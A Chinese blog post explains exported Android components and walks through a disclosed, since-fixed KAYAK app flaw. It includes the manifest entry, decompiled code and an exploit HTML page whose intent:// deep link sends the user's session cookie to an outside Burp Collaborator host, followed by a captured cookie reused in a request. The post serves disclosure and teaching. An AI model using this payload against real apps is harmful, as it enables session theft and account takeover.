组件导出漏洞导致用户cookie泄露

Android组件导出漏洞通常指应用程序中的某个组件(如Activity、Service、BroadcastReceiver或ContentProvider)被错误配置为可由其他应用或进程访问,这可能导致敏感信息泄露,包括用户的cookie等认证信息。

在Android中,组件默认是不对外导出的,除非在AndroidManifest.xml文件中明确指定。如果开发者在定义组件时将exported属性设置为true,或者定义了一个intent-filter而没有设置exported属性(这会默认将组件设置为导出),那么这个组件就可以被其他的应用所访问。

例如,如果一个Activity用于处理用户登录,并在登录后保存用户的cookie,如果这个Activity被错误地导出,那么恶意应用可能就能启动这个Activity或者以某种方式与之交互,从而获取到用户的cookie。

为了防止这种漏洞,开发者应该遵循以下最佳实践:

  1. 仔细检查AndroidManifest.xml文件,确保只有需要被其他应用访问的组件设置为exported=true

  2. 对于不需要被其他应用访问的组件,设置exported=false或者不设置exported属性(默认不导出)。

  3. 使用权限来限制哪些应用可以访问导出的组件,例如通过使用android:permission属性。

  4. 对于处理敏感信息的组件,应实施额外的安全措施,比如验证调用者的身份、使用加密存储等。

  5. 定期进行代码审查和安全测试,以检测潜在的安全问题。

如果用户的cookie已经泄露,需要采取紧急措施:

  1. 通知受影响的用户,并让他们更改密码或重新登录以重置cookie。

  2. 更新应用程序,修复导出组件的配置。

  3. 可能的话,从服务器端废止泄露的cookie。

  4. 进行安全检查,以确保没有其他潜在的安全问题。

保持应用的安全性是一个持续的过程,需要开发者不断地更新知识和技能,以及使用最新的安全实践来保护用户的数据。

案例

在研究移动应用中的零日漏洞时,我发现在KAYAK v161.1版本中,通过一个恶意深链接可以窃取用户的会话cookie。这里将详细解释这个漏洞,它在代码中的位置,以及复现这个漏洞需要采取的步骤。

漏洞位置在哪里?

在AndroidManifest.xml文件中,我发现了以下对外暴露的活动(Activity):

<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>

这意味着任何安装在移动设备上的应用都可以与这个活动进行交互。此外,这个活动可以从深链接调用,并接受隐式意图。

在ExternalAuthLoginActivity中,我注意到了两个非常引人注目的函数:

private final String getRedirectUrl() {
    String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
    return stringExtra == null ? "" : stringExtra;
}

private final void launchCustomTabs() {
    m.d b10 = new d.a(this.helper.getSession()).g(true).b();
    Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
    buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
    i.openCustomTab(this, b10, buildUpon.build(), null);
}

由于活动是对外暴露的,一个恶意的网页通过深链接,或者一个恶意的移动应用通过意图,可以使用getRedirectUrl函数设置一个恶意的重定向URL。然而,launchCustomTabs方法会将一个GET参数连接到URL上。这个GET参数实际上是移动应用用户的会话cookie:

public final String getSessionId() {
    String cookieValueInternal;
    synchronized (this) {
        cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
    }
    return cookieValueInternal;
}
public static final String SESSION_COOKIE_NAME = "p1.med.sid";

考虑到这一点,我登录到网页应用程序并删除所有的cookies,得到了以下请求:

GET /profile/dashboard HTTP/2
Host: www.kayak.com.co
Cookie: p1.med.sid=[Cookie Here];

我将利用代码上传到一个恶意服务器:

<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>

然后,我从移动应用中打开它。检查恶意服务器的日志,我看到我的账户会话cookie被泄露了。所以我复制它并放入我之前展示的请求中:

GET /profile/dashboard HTTP/2
Host: www.kayak.com.co
Cookie: p1.med.sid=65-R-4rhBEjEeCTHTB5bkcdEoO-RUM4RJuW5YvCJ3nfrsvdH0UbkjGBywHzVgsV0u8_Ys-4ay0zqH2q0Jt8H8EXM2yN-QEmydDQIbJ1eAmYZzh6nablokLtpHYCBUNGs7aoae;

POC

https://www.youtube.com/watch?v=vmTDH8QpMnA

通过上述操作,一个未经身份验证的远程攻击者可以通过一键攻击窃取任何登录到KAYAK Android移动应用的受害者的账户。

漏洞报告与修复时间线:

2022年8月12日

报告漏洞:不当访问控制(CVSS:9.3;严重)

漏洞被分类

2022年8月13日

漏洞被修复

KAYAK v161.2 (10048) 在Play商店上架

Q.E.D.

  • reword 您的打赏,就是俺创作的动力